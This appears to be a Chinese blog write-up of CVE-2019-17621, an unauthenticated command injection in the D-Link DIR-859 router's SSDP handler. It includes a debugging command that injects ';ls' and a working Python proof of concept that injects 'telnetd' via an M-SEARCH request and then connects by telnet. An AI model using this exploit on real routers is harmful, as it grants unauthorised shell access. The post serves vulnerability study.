D-Link DIR-859 CVE-201917621-未授权命令执行漏洞分析

0x01 漏洞简介

D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞,
主要是在ssdpcgi函数中发现了该漏洞,且因为SSDP协议缘故,该漏洞利用无须通过认证 漏洞起因主要是因为环境变量没有进行字符过滤,即使这个函数之前已经打过补丁,但是而由于环境变量未正确过滤而造成远程命令执行.

路由器型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位

受影响的D-Link版本

0x02 漏洞分析

分析ssdpcgi_main函数:

首先通过getenv()获取环境变量HTTP_ST,经过判断拼接成新的字符串,最后将新生成的字符串作为lxmldbc_system()的变量进行传递。

要触发漏洞需要满足几个条件:
1.环境变量有“urn:”四个字符
2.将要执行的命令通过strstr()拼接到device或者service上,以满足命令执行条件
3.将拼接的字符串传递给lxmldbc_system()函数

该函数:

格式化字符串后直接执行

0x03 动态调试

sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=13 -E HTTP_ST="urn:device:1;ls" -E REQUEST_URL=/ -E REQUEST_METHOD=M-SEARCH -g 10000 ./htdocs/cgibin

注意在这里需要改一下寄存器强制跳转,bne a,b,function意思是a!=b跳转function

{% asset_img 3.png %}

成功的获取环境变量“HTTP_ST”

{% asset_img 4.png %}

开始比较字符串:

{% asset_img 5.png %}

通过比较”urn:”字符串:

{% asset_img 6.png %}

执行strstr(HTTP_ST,”:device:”)

{% asset_img 7.png %}

看起来是通过判断并返回起始字符串,地址好像有区别,可能是gdb的原因,比较的第一个参数起始地址是0x7ffff7c9,返回却是0x7ffff7c8

{% asset_img 8.png %}

进入lxmldbc_system,执行vsnprintf函数

{% asset_img 9.png %}

成功RCE:

{% asset_img 10.png %}

0x04 poc


#!/usr/bin/python
import sys
import os
import socket
from time import sleep
# Exploit By Miguel Mendez - @s1kr10s
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn::device:1;telnetd\n"
# header += "ST:uuid:1;telnetd\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+"\n\n"
    return header

def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()

if __name__== "__main__":
    ip = "192.168.0.1"
    port = 1900
    headers = config_payload(ip, port)
    print "\n---= HEADER =---\n"
    print "[+] Preparando Header ..."
    print headers
    print "[+] Enviando payload ..."
    print "[+] Activando servicio telnetd :)" 
    send_conexion(ip, port, headers)
    print "[+] Conectando al servicio ...n"
    sleep(5)
    os.system('telnet '+ str(ip))

0x05 拿shell

环境成功搭建

由于D-Link中本身就内置Telnet,所以直接使用Telent建立稳定的Shell


 Previous
CVE-2017-11543 tcpdump越界访问漏洞 CVE-2017-11543 tcpdump越界访问漏洞
0x01 漏洞描述tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 sliplink_print 函数(位于 print-sl.c)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判
Next 
CVE-2021-3156 sudo提权漏洞-堆溢出调试分析 CVE-2021-3156 sudo提权漏洞-堆溢出调试分析
0x00 简介sudo的一个漏洞:影响范围1.8.2 – 1.8.31p2 以及 1.9.0 -1.9.5p1。非root可以使用sudo来以root的权限执行操作。漏洞本质是由于sudo错误的转义了\过滤掉了截断符号,最终导致了一个堆溢出
  TOC